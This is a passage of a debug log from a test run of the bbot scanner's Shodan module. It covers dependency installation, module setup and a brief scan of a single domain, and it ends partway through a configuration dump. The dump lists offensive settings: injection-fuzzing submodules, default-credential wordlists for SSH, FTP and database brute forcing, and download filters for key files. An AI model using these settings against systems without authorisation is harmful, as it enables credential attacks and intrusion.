'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 21:25:47,501 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 21:25:47,502 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 21:25:47,507 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:25:47,507 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 21:25:47,508 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 21:25:47,508 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 21:25:47,512 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/y0jqkis5frdlsh8g6os9 -2026-02-27 21:25:48,305 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 21:25:48,306 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 21:25:48,307 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:25:48,307 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 21:25:48,307 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:25:48,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 21:25:48,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:25:48,309 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 21:25:48,310 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 21:25:48,429 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 21:25:48,429 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 21:25:48,429 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 21:25:48,431 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 21:25:48,431 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 21:25:48,431 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 21:25:48,432 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 21:25:48,433 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 21:25:48,433 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 21:25:48,433 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 21:25:48,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 21:25:48,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 21:25:48,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 21:25:48,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 21:25:48,434 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 21:25:48,434 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 21:25:48,434 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 21:25:48,435 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 21:25:48,435 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 21:25:48,435 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 21:25:48,435 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 21:25:48,435 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 21:25:48,435 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 21:25:48,435 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 21:25:48,436 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 21:25:48,436 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 21:25:48,436 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 21:25:48,436 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 21:25:48,437 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 21:25:48,437 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 21:25:48,437 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 21:25:48,437 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 21:25:48,437 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 21:25:48,438 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 21:25:48,438 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 21:25:48,438 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 21:25:48,438 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 21:25:48,440 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 21:25:48,440 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 21:25:48,443 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 21:25:48,584 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_607rde1vj8 -2026-02-27 21:25:48,585 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 21:25:48,693 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 21:25:48,694 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 21:25:48,694 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 21:25:48,697 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'distance-1', 'target'}) -2026-02-27 21:25:48,796 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'distance-1', 'target'}) passed post-check -2026-02-27 21:25:48,797 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'distance-1', 'target'}) -2026-02-27 21:25:48,799 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-02-27 21:25:48,799 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) -2026-02-27 21:25:48,801 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:25:48,802 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:25:48,803 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) passed post-check -2026-02-27 21:25:48,803 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) -2026-02-27 21:25:48,804 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:25:48,806 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 21:25:48,806 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:25:48,808 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:25:48,809 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:25:48,810 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:25:48,811 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 21:25:48,817 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config -2026-02-27 21:25:48,817 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) -2026-02-27 21:25:48,818 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) passed post-check -2026-02-27 21:25:48,818 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) -2026-02-27 21:25:48,819 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) -2026-02-27 21:25:48,820 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) because precheck succeeded -2026-02-27 21:25:48,897 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 21:25:48,898 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:25:48,899 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) from TARGET -2026-02-27 21:25:48,899 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) passed post-check -2026-02-27 21:25:48,900 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 21:25:48,900 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 21:25:48,900 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 21:25:48,901 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 21:25:48,902 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 21:25:48,902 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 21:25:48,902 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 21:25:48,902 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 21:25:49,003 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 21:25:49,004 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 21:25:49,022 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 21:25:49,023 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 21:25:49,024 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 21:25:49,030 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 21:25:49,031 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 21:25:49,032 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 21:25:49,033 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 21:25:49,033 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 21:25:49,034 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 21:25:49,150 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_607rde1vj8 completed in 0 seconds with status FINISHED -2026-02-27 21:25:49,150 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 21:25:49,152 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:25:49,153 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 21:25:49,153 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_enterprise_test_607rde1vj8', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_607rde1vj8', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 